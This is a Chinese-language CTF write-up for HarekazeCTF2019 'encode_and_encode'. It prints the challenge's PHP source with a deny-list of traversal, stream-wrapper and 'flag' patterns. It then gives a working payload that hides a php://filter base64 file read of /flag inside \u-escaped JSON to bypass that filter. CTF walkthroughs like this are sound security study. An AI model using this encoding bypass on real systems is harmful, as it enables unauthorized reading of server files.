0%

[HarekazeCTF2019]encode_and_encode

题目不难,主要就是考察 JSON 在decode时 会把\U**** 给转义。那么就可以绕过黑名单了。

我们不难发现源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);

我们仔细看到这里:

1
2
3
4
5
6
$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);

我们POST传入的值会被json_decode,然后进行判断是否 包含 $banword 中的值,且要json中要定义一个page键。

1
2
3
4
5
$banword = [
'\.\.',
'(php|file|glob|data|tp|zip|zlib|phar):',
'flag'
];

不能出现flag,我们可以用\u**** 的格式输入flag然后json_decode时就会解密为flag了,我们就可以读到flag。但是接下来还会有一个判断:

1
2
3
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}

也就是说内容中也不能出现 上面的黑名单,此时我们想到php://filter读取flag的base64格式,payload如下:(注意是双引号)

1
{"page":"php://filter/convert.base64-encode/resource=/flag"}

然后值进行了\U****转换后为:

1
{"page":"\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067"}


-------------本文结束感谢您的阅读-------------